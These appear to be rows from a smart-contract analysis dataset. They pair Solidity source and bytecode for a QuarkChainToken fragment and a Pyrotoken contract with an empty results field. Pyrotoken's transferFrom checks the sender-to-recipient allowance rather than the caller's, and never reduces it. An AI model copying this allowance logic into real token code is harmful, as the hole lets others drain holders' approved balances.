{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract QuarkChainToken is DetailedERC20, PausableToken {
using SafeMath for uint256;
// One time switch to enable token transferability.
bool public transferable = false;
// Record private sale wallet to allow transfering.
address public privateSaleWallet;
// Crowdsale contract address set externally.
address public crowdsaleAddress;
// 10 billion tokens, 18 decimals.
uint public constant INITIAL_SUPPLY = 1e28;
modifier onlyWhenTransferEnabled() {
if (!transferable) {
require(msg.sender == owner || msg.sender == crowdsaleAddress || msg.sender == privateSaleWallet);
}
_;
}
modifier validDestination(address to) {
require(to != address(this));
_;
}
constructor() public DetailedERC20("QuarkChain Token", "QKC", 18) {
totalSupply_ = INITIAL_SUPPLY;
}
/// @dev Override to only allow tranfer after being switched on.
function transferFrom(address _from, address _to, uint256 _value)
public
validDestination(_to)
onlyWhenTransferEnabled
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
/// @dev Override to only allow tranfer after being switched on.
function transfer(address _to, uint256 _value)
public
validDestination(_to)
onlyWhenTransferEnabled
returns (bool)
{
return super.transfer(_to, _value);
}
/**
* @dev One-time switch to enable transfer.
*/
function enableTransfer() external onlyOwner {
transferable = true;
}
/**
* @dev Run this before crowdsale begins, so crowdsale contract could transfer tokens.
*/
function setCrowdsaleAddress(address _crowdsaleAddress) external onlyOwner {
// Can only set one time.
require(crowdsaleAddress == 0x0);
require(_crowdsaleAddress != 0x0);
crowdsaleAddress = _crowdsaleAddress;
balances[crowdsaleAddress] = INITIAL_SUPPLY;
}
/**
* @dev Run this before crowdsale begins, so private sale wallet could transfer tokens.
*/
function setPrivateSaleAddress(address _privateSaleWallet) external onlyOwner {
// Can only set one time.
require(privateSaleWallet == 0x0);
privateSaleWallet = _privateSaleWallet;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
|
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610143578063095ea7b3146101d357806318160ddd146102385780631f35bc401461026357806323b872dd146102a65780632ff2e9dc1461032b578063313ce5671461035657806331d2f891146103875780633f4ba83a146103de5780635c975abb146103f5578063661884631461042457806370a0823114610489578063715018a6146104e05780638456cb59146104f75780638da5cb5b1461050e57806392ff0d311461056557806395d89b4114610594578063a9059cbb14610624578063d73dd62314610689578063dd62ed3e146106ee578063ea50342914610765578063ee2a0c12146107bc578063f1b50c1d146107ff578063f2fde38b14610816575b600080fd5b34801561014f57600080fd5b50610158610859565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019857808201518184015260208101905061017d565b50505050905090810190601f1680156101c55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101df57600080fd5b5061021e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108f7565b604051808215151515815260200191505060405180910390f35b34801561024457600080fd5b5061024d610927565b6040518082815260200191505060405180910390f35b34801561026f57600080fd5b506102a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610931565b005b3480156102b257600080fd5b50610311600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab0565b604051808215151515815260200191505060405180910390f35b34801561033757600080fd5b50610340610c26565b6040518082815260200191505060405180910390f35b34801561036257600080fd5b5061036b610c36565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039357600080fd5b5061039c610c49565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103ea57600080fd5b506103f3610c6f565b005b34801561040157600080fd5b5061040a610d2f565b604051808215151515815260200191505060405180910390f35b34801561043057600080fd5b5061046f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d42565b604051808215151515815260200191505060405180910390f35b34801561049557600080fd5b506104ca600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d72565b6040518082815260200191505060405180910390f35b3480156104ec57600080fd5b506104f5610dbb565b005b34801561050357600080fd5b5061050c610ec0565b005b34801561051a57600080fd5b50610523610f81565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561057157600080fd5b5061057a610fa7565b604051808215151515815260200191505060405180910390f35b3480156105a057600080fd5b506105a9610fba565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e95780820151818401526020810190506105ce565b50505050905090810190601f1680156106165780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063057600080fd5b5061066f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611058565b604051808215151515815260200191505060405180910390f35b34801561069557600080fd5b506106d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111cc565b604051808215151515815260200191505060405180910390f35b3480156106fa57600080fd5b5061074f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111fc565b6040518082815260200191505060405180910390f35b34801561077157600080fd5b5061077a611283565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107c857600080fd5b506107fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112a9565b005b34801561080b57600080fd5b50610814611390565b005b34801561082257600080fd5b50610857600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611409565b005b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b505050505081565b6000600660149054906101000a900460ff1615151561091557600080fd5b61091f8383611561565b905092915050565b6000600454905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561098d57600080fd5b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156109d457600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156109fa57600080fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506b204fce5e3e2502611000000060036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610aee57600080fd5b600660159054906101000a900460ff161515610c1157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610bad5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610c055750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610c1057600080fd5b5b610c1c858585611653565b9150509392505050565b6b204fce5e3e2502611000000081565b600260009054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ccb57600080fd5b600660149054906101000a900460ff161515610ce657600080fd5b6000600660146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600660149054906101000a900460ff1681565b6000600660149054906101000a900460ff16151515610d6057600080fd5b610d6a8383611685565b905092915050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1757600080fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1c57600080fd5b600660149054906101000a900460ff16151515610f3857600080fd5b6001600660146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660159054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110505780601f1061102557610100808354040283529160200191611050565b820191906000526020600020905b81548152906001019060200180831161103357829003601f168201915b505050505081565b6000823073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561109657600080fd5b600660159054906101000a900460ff1615156111b957600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806111555750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806111ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156111b857600080fd5b5b6111c38484611916565b91505092915050565b6000600660149054906101000a900460ff161515156111ea57600080fd5b6111f48383611946565b905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561130557600080fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561134c57600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ec57600080fd5b6001600660156101000a81548160ff021916908315150217905550565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156114a157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660149054906101000a900460ff1615151561167157600080fd5b61167c848484611b42565b90509392505050565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611796576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182a565b6117a98382611f0190919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600660149054906101000a900460ff1615151561193457600080fd5b61193e8383611f1a565b905092915050565b60006119d782600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213e90919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611b7f57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611bcd57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c5857600080fd5b611caa82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d3f82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213e90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1182600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000828211151515611f0f57fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611f5757600080fd5b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611fa557600080fd5b611ff782600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061208c82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213e90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000818301905082811015151561215157fe5b809050929150505600a165627a7a723058207f90e15c4c8065786e01e9a40fb5500e2027ad4cd7e516ed869b8b93f25729020029
|
{"success": true, "error": null, "results": {}}
| 9,157 |
0xbe210a9573d2654afe04488c2556554466862367
|
// File: contracts/openzeppelin/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function decimals() external returns (uint8);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/openzeppelin/SafeMath.sol
// SPD: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/Pyrotokens/Pyrotoken.sol
// SPD: MIT
abstract contract LiquidityReceiverFacade{
function drain(address pyroToken) public virtual;
}
abstract contract ERC20MetaData {
function symbol() public virtual returns (string memory);
function name() public virtual returns (string memory);
}
contract Pyrotoken is IERC20 {
event Mint(
address minter,
address baseToken,
address pyroToken,
uint256 redeemRate
);
event Redeem(
address redeemer,
address baseToken,
address pyroToken,
uint256 redeemRate
);
using SafeMath for uint256;
uint256 _totalSupply;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowances;
address public baseToken;
uint256 constant ONE = 1e18;
LiquidityReceiverFacade liquidityReceiver;
constructor(address _baseToken, address _liquidityReceiver) {
baseToken = _baseToken;
name = string(
abi.encodePacked("Pyro", ERC20MetaData(baseToken).name())
);
symbol = string(
abi.encodePacked("p", ERC20MetaData(baseToken).symbol())
);
decimals = 18;
liquidityReceiver = LiquidityReceiverFacade(_liquidityReceiver);
}
string public override name;
string public override symbol;
uint8 public override decimals;
modifier updateReserve {
liquidityReceiver.drain(address(this));
_;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account)
external
view
override
returns (uint256)
{
return balances[account];
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender)
external
view
override
returns (uint256)
{
return allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external
override
returns (bool)
{
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
require(
allowances[sender][recipient] >= amount,
"ERC20: not approved to send"
);
_transfer(sender, recipient, amount);
return true;
}
function mint(uint256 baseTokenAmount) external updateReserve returns (uint) {
uint256 rate = redeemRate();
uint256 pyroTokensToMint = baseTokenAmount.mul(ONE).div(rate);
require(
IERC20(baseToken).transferFrom(
msg.sender,
address(this),
baseTokenAmount
),
"PYROTOKEN: baseToken transfer failed."
);
mint(msg.sender, pyroTokensToMint);
emit Mint(msg.sender, baseToken, address(this), rate);
return pyroTokensToMint;
}
function redeem(uint256 pyroTokenAmount) external updateReserve returns (uint) {
//no approval necessary
balances[msg.sender] = balances[msg.sender].sub(
pyroTokenAmount,
"PYROTOKEN: insufficient balance"
);
uint256 rate = redeemRate();
_totalSupply = _totalSupply.sub(pyroTokenAmount);
uint256 exitFee = pyroTokenAmount.mul(2).div(100); //2% burn on exit pushes up price for remaining hodlers
uint256 net = pyroTokenAmount.sub(exitFee);
uint256 baseTokensToRelease = rate.mul(net).div(ONE);
IERC20(baseToken).transfer(msg.sender, baseTokensToRelease);
emit Redeem(msg.sender, baseToken, address(this), rate);
return baseTokensToRelease;
}
function redeemRate() public view returns (uint256) {
uint256 balanceOfBase = IERC20(baseToken).balanceOf(address(this));
if (_totalSupply == 0 || balanceOfBase == 0) return ONE;
return balanceOfBase.mul(ONE).div(_totalSupply);
}
function mint(address recipient, uint256 amount) internal {
balances[recipient] = balances[recipient].add(amount);
_totalSupply = _totalSupply.add(amount);
}
function burn(uint256 amount) public {
balances[msg.sender] = balances[msg.sender].sub(amount);
_totalSupply = _totalSupply.sub(amount);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
uint256 burnFee = amount.div(1000); //0.1%
balances[recipient] = balances[recipient].add(amount - burnFee);
balances[sender] = balances[sender].sub(amount);
_totalSupply = _totalSupply.sub(burnFee);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806370a082311161008c578063a9059cbb11610066578063a9059cbb1461028c578063c55dae63146102b8578063db006a75146102dc578063dd62ed3e146102f9576100ea565b806370a082311461024157806395d89b4114610267578063a0712d681461026f576100ea565b806318160ddd116100c857806318160ddd146101c657806323b872dd146101ce578063313ce5671461020457806342966c6814610222576100ea565b806306fdde03146100ef578063095ea7b31461016c5780630adcdbaa146101ac575b600080fd5b6100f7610327565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610131578181015183820152602001610119565b50505050905090810190601f16801561015e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101986004803603604081101561018257600080fd5b506001600160a01b0381351690602001356103b5565b604080519115158252519081900360200190f35b6101b461041c565b60408051918252519081900360200190f35b6101b46104e4565b610198600480360360608110156101e457600080fd5b506001600160a01b038135811691602081013590911690604001356104ea565b61020c61057b565b6040805160ff9092168252519081900360200190f35b61023f6004803603602081101561023857600080fd5b5035610584565b005b6101b46004803603602081101561025757600080fd5b50356001600160a01b03166105c2565b6100f76105dd565b6101b46004803603602081101561028557600080fd5b5035610638565b610198600480360360408110156102a257600080fd5b506001600160a01b0381351690602001356107e9565b6102c06107ff565b604080516001600160a01b039092168252519081900360200190f35b6101b4600480360360208110156102f257600080fd5b503561080e565b6101b46004803603604081101561030f57600080fd5b506001600160a01b0381358116916020013516610a0d565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103ad5780601f10610382576101008083540402835291602001916103ad565b820191906000526020600020905b81548152906001019060200180831161039057829003601f168201915b505050505081565b3360008181526002602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600354604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561046c57600080fd5b505afa158015610480573d6000803e3d6000fd5b505050506040513d602081101561049657600080fd5b505160005490915015806104a8575080155b156104be57670de0b6b3a76400009150506104e1565b6000546104dd906104d783670de0b6b3a7640000610a38565b90610a98565b9150505b90565b60005490565b6001600160a01b038084166000908152600260209081526040808320938616835292905290812054821115610566576040805162461bcd60e51b815260206004820152601b60248201527f45524332303a206e6f7420617070726f76656420746f2073656e640000000000604482015290519081900360640190fd5b610571848484610ada565b5060019392505050565b60075460ff1681565b3360009081526001602052604090205461059e9082610bb2565b33600090815260016020526040812091909155546105bc9082610bb2565b60005550565b6001600160a01b031660009081526001602052604090205490565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103ad5780601f10610382576101008083540402835291602001916103ad565b6004805460408051637672989960e11b81523093810193909352516000926001600160a01b039092169163ece53132916024808301928692919082900301818387803b15801561068757600080fd5b505af115801561069b573d6000803e3d6000fd5b5050505060006106a961041c565b905060006106c3826104d786670de0b6b3a7640000610a38565b600354604080516323b872dd60e01b81523360048201523060248201526044810188905290519293506001600160a01b03909116916323b872dd916064808201926020929091908290030181600087803b15801561072057600080fd5b505af1158015610734573d6000803e3d6000fd5b505050506040513d602081101561074a57600080fd5b50516107875760405162461bcd60e51b81526004018080602001828103825260258152